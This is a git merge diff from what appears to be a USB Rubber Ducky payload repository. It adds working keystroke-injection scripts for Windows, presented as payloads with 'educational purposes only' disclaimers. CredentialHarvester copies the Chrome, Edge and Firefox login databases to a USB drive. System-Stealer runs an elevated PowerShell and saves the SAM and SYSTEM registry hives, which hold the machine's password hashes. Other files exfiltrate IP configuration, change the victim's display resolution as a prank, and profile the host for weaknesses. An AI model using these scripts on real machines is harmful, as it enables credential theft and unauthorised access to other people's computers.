Merge f843113663 into 44af31e74b

Merge pull request #481 from mavisinator30001/master
Create Resolution_Prank.txt
2024-10-27 11:37:09 +01:00 · 2024-10-24 15:30:26 -04:00 · 2024-10-24 14:58:57 -04:00 · 2024-10-22 14:41:32 -04:00 · 2024-10-21 11:57:10 -04:00 · 2024-10-21 11:56:43 -04:00
7 changed files with 949 additions and 0 deletions
--- a/payloads/library/exfiltration/CredentialHarvester/Payload.txt
+++ b/payloads/library/exfiltration/CredentialHarvester/Payload.txt
@ -0,0 +1,63 @@
 REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%                              Title: CredentialHarvester                              %%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%                             Author: github.com/markcyber                             %%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%                   Description: This script exfiltrates credentials                   %%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%                   Target: Firefox, Chrome, Edge on Windows Machines                  %%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%                                  Category: Exfiltration                              %%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%      This script requires a secondary USB named "MYUSB" to save credentials to       %%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
 REM Open PowerShell with elevated privileges
 DELAY 1000
 GUI r
 DELAY 500
 STRING powershell
 DELAY 500
 ENTER
 DELAY 1500
 REM Check if the USB drive exists
 STRING $usbDrive = Get-WmiObject Win32_Volume ^| Where-Object { $_.Label -eq 'MYUSB' } ^| Select-Object -ExpandProperty DriveLetter;
 ENTER
 DELAY 500
 STRING if ($usbDrive -ne $null) {
 ENTER
 DELAY 500
 STRING cd $usbDrive
 ENTER
 DELAY 500
 STRING mkdir BrowserData
 ENTER
 DELAY 500
 STRING cd BrowserData
 ENTER
 DELAY 500
 REM Copy Chrome Login Data to USB
 STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
 ENTER
 STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData" }
 ENTER
 DELAY 500
 REM Copy Firefox Login Data to USB
 STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\"
 ENTER
 STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData" }
 ENTER
 DELAY 500
 REM Copy Edge Login Data to USB
 STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data"
 ENTER
 STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData" }
 ENTER
 DELAY 500
 STRING }
 ENTER
 DELAY 500
 REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on target PC)
 STRING echo off ^| clip
 ENTER
 DELAY 500
 REM Close PowerShell
 STRING exit
 ENTER
 DELAY 500
--- a/payloads/library/exfiltration/IP-Out/README.md
+++ b/payloads/library/exfiltration/IP-Out/README.md
@ -0,0 +1,12 @@
 # IP-OUT
 This is a USB Rubber Ducky payload that opens a powershell window in the target (Windows based) computer, then extracts the `ipconfig` information in the form of a text file saved on the USB.
 ## Useful Tips
 **Change #DRIVELABEL to your own personal drive label if it isn't already**
 Remember: Do not use this for unethical hacking practices! This is for educational purposed only!
--- a/payloads/library/exfiltration/IP-Out/payload.txt
+++ b/payloads/library/exfiltration/IP-Out/payload.txt
@ -0,0 +1,63 @@
 REM Title: IP-Out
 REM Author: Mavisinator30001
 REM Description: Opens a powershell window and prints the current IP of the device to a text file in the BadUSB
 REM Target: Any Windows System
 REM DISCLAIMER!!! Neither I, nor Hak5, condone any unethical hacking practices using this payload... FOR EDUCATIONAL PURPOSES ONLY
 DEFINE #DRIVELABEL DUCKY
 EXTENSION PASSIVE_WINDOWS_DETECT
    REM VERSION 1.1
    REM AUTHOR: Korben
    REM_BLOCK DOCUMENTATION
        Windows fully passive OS Detection and passive Detect Ready
        Includes its own passive detect ready.
        Does not require additional extensions.
        USAGE:
            Extension runs inline (here)
            Place at beginning of payload (besides ATTACKMODE) to act as dynamic
            boot delay
            $_OS will be set to WINDOWS or NOT_WINDOWS
            See end of payload for usage within payload
    END_REM
    REM CONFIGURATION:
    DEFINE #MAX_WAIT 150
    DEFINE #CHECK_INTERVAL 20
    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
    DEFINE #NOT_WINDOWS 7
    $_OS = #NOT_WINDOWS
    VAR $MAX_TRIES = #MAX_WAIT
    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
        DELAY #CHECK_INTERVAL
        $MAX_TRIES = ($MAX_TRIES - 1)
    END_WHILE
    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
        $_OS = WINDOWS
    END_IF
    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
        IF ($_OS == WINDOWS) THEN
            STRING HELLO WINDOWS!
        ELSE
            STRING HELLO WORLD!
        END_IF
    END_REM
 END_EXTENSION
 IF $_OS != WINDOWS
    STOP_PAYLOAD
 END_IF
 ATTACKMODE HID STORAGE
 DELAY 500
 GUI r
 DELAY 300
 STRINGLN Powershell
 DELAY 1000
 STRINGLN $driveLetter = (Get-WmiObject -Query "SELECT * FROM Win32_Volume WHERE Label='#DRIVELABEL'").DriveLetter; if ($driveLetter) { ipconfig | Out-File -Filepath "$driveLetter\exfil.txt" -Encoding utf8 }
 WAIT_FOR_STORAGE_ACTIVITY
 WAIT_FOR_STORAGE_INACTIVITY
 ALT F4
 ATTACKMODE OFF
 HIDE_PAYLOAD
--- a/payloads/library/exfiltration/System-Stealer/payload.txt
+++ b/payloads/library/exfiltration/System-Stealer/payload.txt
@ -0,0 +1,74 @@
 REM TITLE System Stealer
 REM AUTHOR mavisinator30001
 REM DESCRIPTION Creates a file in the Duck called sam.save and system.save with encrypted system information in both
 REM DISCLAIMER Neither I, nor Hak5, condone any unethical hacking practices, whether taken from this payload or otherwise!
 REM DISCLAIMER This is for educational purposes ONLY
 DELAY 1000
 ATTACKMODE HID STORAGE
 EXTENSION PASSIVE_WINDOWS_DETECT
    REM VERSION 1.1
    REM AUTHOR: Korben
    REM_BLOCK DOCUMENTATION
        Windows fully passive OS Detection and passive Detect Ready
        Includes its own passive detect ready.
        Does not require additional extensions.
        USAGE:
            Extension runs inline (here)
            Place at beginning of payload (besides ATTACKMODE) to act as dynamic
            boot delay
            $_OS will be set to WINDOWS or NOT_WINDOWS
            See end of payload for usage within payload
    END_REM
    REM CONFIGURATION:
    DEFINE #MAX_WAIT 150
    DEFINE #CHECK_INTERVAL 20
    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
    DEFINE #NOT_WINDOWS 7
    $_OS = #NOT_WINDOWS
    VAR $MAX_TRIES = #MAX_WAIT
    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
        DELAY #CHECK_INTERVAL
        $MAX_TRIES = ($MAX_TRIES - 1)
    END_WHILE
    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
        $_OS = WINDOWS
    END_IF
    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
        IF ($_OS == WINDOWS) THEN
            STRING HELLO WINDOWS!
        ELSE
            STRING HELLO WORLD!
        END_IF
    END_REM
 END_EXTENSION
 REM Change $DRIVELABEL to the storage label of your duck
 DEFINE #DRIVELABEL DUCKY
 IF ($_OS == WINDOWS) THEN
    GUI r
    DELAY 500
    STRING powershell
    DELAY 1000
    CTRL-SHIFT-ENTER
    DELAY 750
    LEFT
    ENTER
    DELAY 1000
    STRINGLN $DriveLetter = (Get-WmiObject -Query "SELECT * FROM Win32_LogicalDisk WHERE VolumeName='#DRIVELABEL'").DeviceID; Set-Variable -Name 'DriveLetter' -Value $DriveLetter -Scope Global; Write-Output $DriveLetter
    DELAY 250
    STRINGLN reg save HKLM\sam $DriveLetter/sam.save
    WAIT_FOR_STORAGE_ACTIVITY
    WAIT_FOR_STORAGE_INACTIVITY
    STRINGLN reg save HKLM\system $DriveLetter/system.save
    WAIT_FOR_STORAGE_ACTIVITY
    WAIT_FOR_STORAGE_INACTIVITY
    ALT F4
 ELSE
    ATTACKMODE OFF
    STOP_PAYLOAD
 END_IF
--- a/payloads/library/prank/Resolution_Prank/README.md
+++ b/payloads/library/prank/Resolution_Prank/README.md
@ -0,0 +1,5 @@
 # Resolution Prank
 This payload will go into windows based systems and change the resolution of the victim to the lowest possible setting. When finished, the LED will flash red and green, and at that point if you hit CAPS it will reset the monitor to the highest resolution allowed.
 ### Somewhat resource dependent, may not work on older computers
--- a/payloads/library/prank/Resolution_Prank/payload.txt
+++ b/payloads/library/prank/Resolution_Prank/payload.txt
@ -0,0 +1,103 @@
 REM TITLE Resolution Prank
 REM AUTHOR Mavisinator30001
 REM TARGET Any system running Windows 10/11
 REM DESCRIPTION Goes into Windows settings and change the screen resolution. When finished, toggle caps to change display back
 EXTENSION PASSIVE_WINDOWS_DETECT
    REM VERSION 1.1
    REM AUTHOR: Korben
    REM_BLOCK DOCUMENTATION
        Windows fully passive OS Detection and passive Detect Ready
        Includes its own passive detect ready.
        Does not require additional extensions.
        USAGE:
            Extension runs inline (here)
            Place at beginning of payload (besides ATTACKMODE) to act as dynamic
            boot delay
            $_OS will be set to WINDOWS or NOT_WINDOWS
            See end of payload for usage within payload
    END_REM
    REM CONFIGURATION:
    DEFINE #MAX_WAIT 150
    DEFINE #CHECK_INTERVAL 20
    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
    DEFINE #NOT_WINDOWS 7
    $_OS = #NOT_WINDOWS
    VAR $MAX_TRIES = #MAX_WAIT
    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
        DELAY #CHECK_INTERVAL
        $MAX_TRIES = ($MAX_TRIES - 1)
    END_WHILE
    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
        $_OS = WINDOWS
    END_IF
    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
        IF ($_OS == WINDOWS) THEN
            STRING HELLO WINDOWS!
        ELSE
            STRING HELLO WORLD!
        END_IF
    END_REM
 END_EXTENSION
 IF $_OS != WINDOWS
    STOP_PAYLOAD
 END_IF
 LED_G
 DELAY 500
 CTRL GUI d
 DELAY 500
 GUI i
 DELAY 2000
 STRINGLN display
 DELAY 2500
 TAB
 ENTER
 DELAY 200
 REPEAT 8 TAB
 ENTER
 VAR $CAPS_STATE = $_CAPSLOCK_ON
 WHILE ($CAPS_STATE == $_CAPSLOCK_ON)
 HOLD DOWN
 DELAY 1000
    RELEASE DOWN
    ENTER
    DELAY 200
    LEFT
    DELAY 200
    ENTER
    REM WHEN FINISHED WITH THE FIRST PART OF THE PAYLOAD DUCK WILL FLASH LED
    VAR $LIGHT_UP_TIMES = 20
    WHILE ($LIGHT_UP_TIMES > 0)
        LED_G
        DELAY 300
        LED_OFF
        DELAY 300
        LED_R
        DELAY 300
        LED_OFF
        DELAY 300
        $LIGHT_UP_TIMES = $LIGHT_UP_TIMES - 1
    END_WHILE
    WAIT_FOR_CAPS_CHANGE
 END_WHILE
 DELAY 300
 REPEAT 12 TAB
 ENTER
 DELAY 200
 HOLD UP
 DELAY 1000
 RELEASE UP
 ENTER
 DELAY 200
 LEFT
 ENTER
 DELAY 1000
 ALT F4
 DELAY 200
 CTRL GUI F4
--- a/payloads/library/recon/VulnerabilityScanner/Payload.txt
+++ b/payloads/library/recon/VulnerabilityScanner/Payload.txt
@ -0,0 +1,629 @@
 REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%                             Title: VulnerabilityScanner                              %%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%                             Author: Github.com/MarkCyber                             %%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%                   Description: This script scans for vulnerabilities                 %%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%                       Target: Windows machines with admin access                     %%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%                                   Category: Recon                                    %%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%      This script requires a secondary USB named "MYUSB" to save credentials to       %%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
 REM %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
 DELAY 1000
 REM Open Start Menu
 CONTROL ESCAPE
 DELAY 2000
 STRING powershell
 REM Navigate to the context menu to run PowerShell as an administrator
 DELAY 500
 RIGHTARROW
 DELAY 100
 DOWNARROW
 DELAY 100
 ENTER
 DELAY 3000
 ALT Y
 DELAY 5000
 REM Set PowerShell Execution Policy to Bypass
 DELAY 1000
 STRING set-executionpolicy bypass -scope process -force
 DELAY 200
 ENTER
 DELAY 200
 REM Create the PowerShell script in memory and execute it
 DELAY 200
 STRING $usbName = "MYUSB"
 DELAY 200
 ENTER
 DELAY 200
 STRING $usbDrive = Get-WmiObject Win32_Volume | Where-Object { $_.Label -eq $usbName } | Select-Object -ExpandProperty DriveLetter
 DELAY 200
 ENTER
 DELAY 200
 STRING if ($usbDrive) {
 DELAY 200
 ENTER
 DELAY 200
 STRING     $owner = (Get-WmiObject Win32_ComputerSystem).UserName
 DELAY 200
 ENTER
 DELAY 200
 STRING     $directoryPath = Join-Path -Path $usbDrive -ChildPath $owner
 DELAY 200
 ENTER
 DELAY 200
 STRING     New-Item -ItemType Directory -Path $directoryPath
 DELAY 200
 ENTER
 DELAY 200
 STRING     $resultsFilePath = Join-Path -Path $directoryPath -ChildPath "results.txt"
 DELAY 200
 ENTER
 DELAY 200
 STRING     "" > $resultsFilePath
 DELAY 200
 ENTER
 DELAY 200
 STRING     function check-passwordpolicy {
 DELAY 200
 ENTER
 DELAY 200
 STRING         try {
 DELAY 200
 ENTER
 DELAY 200
 STRING             net accounts
 DELAY 200
 ENTER
 DELAY 200
 STRING         } catch {
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "Error checking password policy: $_"
 DELAY 200
 ENTER
 DELAY 200
 STRING         }
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     function audit-services {
 DELAY 200
 ENTER
 DELAY 200
 STRING         try {
 DELAY 200
 ENTER
 DELAY 200
 STRING             get-service | select-object name, displayname, status, starttype
 DELAY 200
 ENTER
 DELAY 200
 STRING         } catch {
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "Error auditing services: $_"
 DELAY 200
 ENTER
 DELAY 200
 STRING         }
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     function check-networksettings {
 DELAY 200
 ENTER
 DELAY 200
 STRING         try {
 DELAY 200
 ENTER
 DELAY 200
 STRING             get-netipconfiguration
 DELAY 200
 ENTER
 DELAY 200
 STRING         } catch {
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "Error checking network settings: $_"
 DELAY 200
 ENTER
 DELAY 200
 STRING         }
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     function check-softwarevulnerabilities {
 DELAY 200
 ENTER
 DELAY 200
 STRING         try {
 DELAY 200
 ENTER
 DELAY 200
 STRING             get-itemproperty hklm:\software\wow6432node\microsoft\windows\currentversion\uninstall\* | select-object displayname, displayversion, publisher
 DELAY 200
 ENTER
 DELAY 200
 STRING         } catch {
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "Error checking software vulnerabilities: $_"
 DELAY 200
 ENTER
 DELAY 200
 STRING         }
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     function check-cve {
 DELAY 200
 ENTER
 DELAY 200
 STRING         param (
 DELAY 200
 ENTER
 DELAY 200
 STRING             [string]$productname,
 DELAY 200
 ENTER
 DELAY 200
 STRING             [string]$version
 DELAY 200
 ENTER
 DELAY 200
 STRING         )
 DELAY 200
 ENTER
 DELAY 200
 STRING         $initialDelay = 2
 DELAY 200
 ENTER
 DELAY 200
 STRING         try {
 DELAY 200
 ENTER
 DELAY 200
 STRING             $uri = "https://services.nvd.nist.gov/rest/json/cves/1.0?keyword=$productname+$version"
 DELAY 200
 ENTER
 DELAY 200
 STRING             start-sleep -seconds $initialDelay
 DELAY 200
 ENTER
 DELAY 200
 STRING             $response = invoke-restmethod -uri $uri -method get
 DELAY 200
 ENTER
 DELAY 200
 STRING             if ($response.totalresults -gt 0) {
 DELAY 200
 ENTER
 DELAY 200
 STRING                 foreach ($cve in $response.result.cve_items) {
 DELAY 200
 ENTER
 DELAY 200
 STRING                     "$($cve.cve.cve_data_meta.id) - $($cve.cve.description.description_data[0].value)"
 DELAY 200
 ENTER
 DELAY 200
 STRING                 }
 DELAY 200
 ENTER
 DELAY 200
 STRING             } else {
 DELAY 200
 ENTER
 DELAY 200
 STRING                 "no cves found for $productname $version"
 DELAY 200
 ENTER
 DELAY 200
 STRING             }
 DELAY 200
 ENTER
 DELAY 200
 STRING         } catch {
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "Error checking CVEs: $_"
 DELAY 200
 ENTER
 DELAY 200
 STRING             if ($_.Exception -match '403') {
 DELAY 200
 ENTER
 DELAY 200
 STRING                 write-output "403 Forbidden error encountered. Retrying in 60 seconds..."
 DELAY 200
 ENTER
 DELAY 200
 STRING                 start-sleep -seconds 60
 DELAY 200
 ENTER
 DELAY 200
 STRING                 $retryResponse = invoke-restmethod -uri $uri -method get
 DELAY 200
 ENTER
 DELAY 200
 STRING                 if ($retryResponse.totalresults -gt 0) {
 DELAY 200
 ENTER
 DELAY 200
 STRING                     foreach ($cve in $retryResponse.result.cve_items) {
 DELAY 200
 ENTER
 DELAY 200
 STRING                         "$($cve.cve.cve_data_meta.id) - $($cve.cve.description.description_data[0].value)"
 DELAY 200
 ENTER
 DELAY 200
 STRING                     }
 DELAY 200
 ENTER
 DELAY 200
 STRING                 } else {
 DELAY 200
 ENTER
 DELAY 200
 STRING                     "no cves found for $productname $version"
 DELAY 200
 ENTER
 DELAY 200
 STRING                 }
 DELAY 200
 ENTER
 DELAY 200
 STRING             }
 DELAY 200
 ENTER
 DELAY 200
 STRING         }
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     function analyze-logs {
 DELAY 200
 ENTER
 DELAY 200
 STRING         try {
 DELAY 200
 ENTER
 DELAY 200
 STRING             get-eventlog -logname system -newest 100
 DELAY 200
 ENTER
 DELAY 200
 STRING         } catch {
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "Error analyzing logs: $_"
 DELAY 200
 ENTER
 DELAY 200
 STRING         }
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     function check-openports {
 DELAY 200
 ENTER
 DELAY 200
 STRING         try {
 DELAY 200
 ENTER
 DELAY 200
 STRING             netstat -an
 DELAY 200
 ENTER
 DELAY 200
 STRING         } catch {
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "Error checking open ports: $_"
 DELAY 200
 ENTER
 DELAY 200
 STRING         }
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     function check-missingupdates {
 DELAY 200
 ENTER
 DELAY 200
 STRING         try {
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "Checking Windows Update logs..."
 DELAY 200
 ENTER
 DELAY 200
 STRING             $updateLogPath = Join-Path -Path $directoryPath -ChildPath "WindowsUpdate.log"
 DELAY 200
 ENTER
 DELAY 200
 STRING             Get-WindowsUpdateLog -LogPath $updateLogPath
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "WindowsUpdate.log written to $updateLogPath"
 DELAY 200
 ENTER
 DELAY 200
 STRING             Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Temp\WindowsUpdateLog\*" -Recurse -Force
 DELAY 200
 ENTER
 DELAY 200
 STRING         } catch {
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "Error getting Windows Update log: $_"
 DELAY 200
 ENTER
 DELAY 200
 STRING         }
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     function check-firewallstatus {
 DELAY 200
 ENTER
 DELAY 200
 STRING         try {
 DELAY 200
 ENTER
 DELAY 200
 STRING             netsh advfirewall show allprofiles
 DELAY 200
 ENTER
 DELAY 200
 STRING         } catch {
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "Error checking firewall status: $_"
 DELAY 200
 ENTER
 DELAY 200
 STRING         }
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     function check-smbv1status {
 DELAY 200
 ENTER
 DELAY 200
 STRING         try {
 DELAY 200
 ENTER
 DELAY 200
 STRING             get-windowsoptionalfeature -online -featurename smb1protocol
 DELAY 200
 ENTER
 DELAY 200
 STRING         } catch {
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "Error checking SMBv1 status: $_"
 DELAY 200
 ENTER
 DELAY 200
 STRING         }
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     function check-antivirusstatus {
 DELAY 200
 ENTER
 DELAY 200
 STRING         try {
 DELAY 200
 ENTER
 DELAY 200
 STRING             get-mpcomputerstatus
 DELAY 200
 ENTER
 DELAY 200
 STRING         } catch {
 DELAY 200
 ENTER
 DELAY 200
 STRING             write-output "Error checking antivirus status: $_"
 DELAY 200
 ENTER
 DELAY 200
 STRING         }
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     check-passwordpolicy >> $resultsFilePath
 DELAY 200
 ENTER
 DELAY 200
 STRING     audit-services >> $resultsFilePath
 DELAY 200
 ENTER
 DELAY 200
 STRING     check-networksettings >> $resultsFilePath
 DELAY 200
 ENTER
 DELAY 200
 STRING     check-softwarevulnerabilities >> $resultsFilePath
 DELAY 200
 ENTER
 DELAY 200
 STRING     analyze-logs >> $resultsFilePath
 DELAY 200
 ENTER
 DELAY 200
 STRING     check-openports >> $resultsFilePath
 DELAY 200
 ENTER
 DELAY 200
 STRING     check-missingupdates >> $resultsFilePath
 DELAY 200
 ENTER
 DELAY 200
 STRING     check-firewallstatus >> $resultsFilePath
 DELAY 200
 ENTER
 DELAY 200
 STRING     check-smbv1status >> $resultsFilePath
 DELAY 200
 ENTER
 DELAY 200
 STRING     check-antivirusstatus >> $resultsFilePath
 DELAY 200
 ENTER
 DELAY 200
 REM Dynamically identify critical software from running processes and scheduled tasks
 STRING     $runningSoftware = Get-Process | Select-Object Name | Sort-Object Name -Unique
 DELAY 200
 ENTER
 DELAY 200
 STRING     $scheduledTasks = schtasks /query /fo CSV | ConvertFrom-Csv | Select-Object TaskName, TaskToRun | Sort-Object TaskToRun -Unique
 DELAY 200
 ENTER
 DELAY 200
 REM Combine running software and scheduled tasks
 STRING     $softwareList = @()
 DELAY 200
 ENTER
 DELAY 200
 STRING     foreach ($process in $runningSoftware) {
 DELAY 200
 ENTER
 DELAY 200
 STRING         $softwareList += $process.Name
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     foreach ($task in $scheduledTasks) {
 DELAY 200
 ENTER
 DELAY 200
 STRING         $softwareList += [System.IO.Path]::GetFileNameWithoutExtension($task.TaskToRun)
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 REM Remove duplicates and empty entries
 STRING     $softwareList = $softwareList | Sort-Object -Unique | Where-Object { $_ -ne "" }
 DELAY 200
 ENTER
 DELAY 200
 REM Check CVEs for identified software
 STRING     foreach ($software in $softwareList) {
 DELAY 200
 ENTER
 DELAY 200
 STRING         $version = (Get-ItemProperty hklm:\software\wow6432node\microsoft\windows\currentversion\uninstall\* | Where-Object { $_.DisplayName -eq $software }).DisplayVersion
 DELAY 200
 ENTER
 DELAY 200
 STRING         if ($version) {
 DELAY 200
 ENTER
 DELAY 200
 STRING             check-cve -productname $software -version $version >> $resultsFilePath
 DELAY 200
 ENTER
 DELAY 200
 STRING             $initialDelay += (Get-Random -Minimum 5 -Maximum 10)
 DELAY 200
 ENTER
 DELAY 200
 STRING             start-sleep -seconds $initialDelay
 DELAY 200
 ENTER
 DELAY 200
 STRING         }
 DELAY 200
 ENTER
 DELAY 200
 STRING     }
 DELAY 200
 ENTER
 DELAY 200
 STRING     write-output "Results saved to USB drive."
 DELAY 200
 ENTER
 DELAY 200
 STRING } else {
 DELAY 200
 ENTER
 DELAY 200
 STRING     write-output "Error: USB drive MYUSB not found."
 DELAY 200
 ENTER
 DELAY 200
 STRING }
 DELAY 200
 ENTER
 DELAY 200
 STRING invoke-command -scriptblock $script
 DELAY 200
 ENTER
 DELAY 20000
Author	SHA1	Message	Date
Mark	acc8dd6ea8	Merge `f843113663` into `44af31e74b`	2024-10-27 11:37:09 +01:00
Peaks	44af31e74b	Merge pull request #481 from mavisinator30001/master Create Resolution_Prank.txt	2024-10-24 15:30:26 -04:00
Mavis Coffey	cacb21ad7e	Removed Second "#DRIVELABEL" variable	2024-10-24 14:58:57 -04:00
Mavis Coffey	61eb88ab6c	Update payload.txt	2024-10-22 14:41:32 -04:00
Mavis Coffey	8be0f9a092	Delete payloads/library/credentials/IP-Out directory	2024-10-21 11:57:10 -04:00
Mavis Coffey	63e0c18618	Create README.md	2024-10-21 11:56:43 -04:00
Mavis Coffey	81807425f5	Create payload.txt	2024-10-21 11:56:10 -04:00
Mavis Coffey	083951025f	Added System-Stealer to exfiltration library	2024-10-18 14:43:32 -04:00
Mavis Coffey	1a5aa0bd08	Update payload.txt	2024-10-18 11:26:00 -04:00
Mavis Coffey	a323fc3281	Update payload.txt	2024-10-15 14:10:08 -04:00
Mavis Coffey	420a174f93	Rename readme.md to README.md	2024-09-26 07:42:38 -07:00
Mavis Coffey	c8c6a75d33	Rename readme.md to README.md	2024-09-26 07:42:03 -07:00
Mavis Coffey	4e89426355	Create readme.md	2024-09-26 06:29:23 -07:00
Mavis Coffey	566683c428	Update payload.txt	2024-09-26 06:25:51 -07:00
Mavis Coffey	5ed41467e3	Update payload.txt	2024-09-26 06:24:22 -07:00
Mavis Coffey	a74d21e848	Create readme.md	2024-09-26 06:16:19 -07:00
Mavis Coffey	0f85a6936e	Update payload.txt	2024-09-26 06:09:19 -07:00
Mavis Coffey	d9baab6395	Merge branch 'hak5:master' into master	2024-09-26 09:05:47 -04:00
Mavis Coffey	cf0c83d37c	Update and rename Resolution_Prank.txt to payload.txt Changed author name to my username rather than real name. Changed payload file name to payload.txt	2024-09-20 08:30:00 -07:00
Mavis Coffey	8293bf5d4d	Update payload.txt Changed author comment to display my username rather than my real name	2024-09-20 08:28:44 -07:00
Mavis Coffey	6ad0b7836c	Create payload.txt Added IP-Out Ducky payload	2024-09-20 08:25:58 -07:00
mavisinator30001	8073d4d9cd	Create Resolution_Prank.txt Added Resolution_Prank folder and related payload into said folder	2024-09-18 07:30:59 -07:00
Mark	f843113663	Update Payload.txt	2024-05-31 09:31:35 -04:00
Mark	81260982f1	Rename CredentialHarvester.txt to Payload.txt	2024-05-28 23:39:23 -04:00
Mark	582bb6138a	Rename VulnerabilityScanner.txt to Payload.txt	2024-05-28 23:38:47 -04:00
Mark	5b5c57f16b	Create VulnerabilityScanner.txt	2024-05-28 23:38:24 -04:00
Mark	ddd7d2af4b	Create CredentialHarvester.txt	2024-05-28 23:34:46 -04:00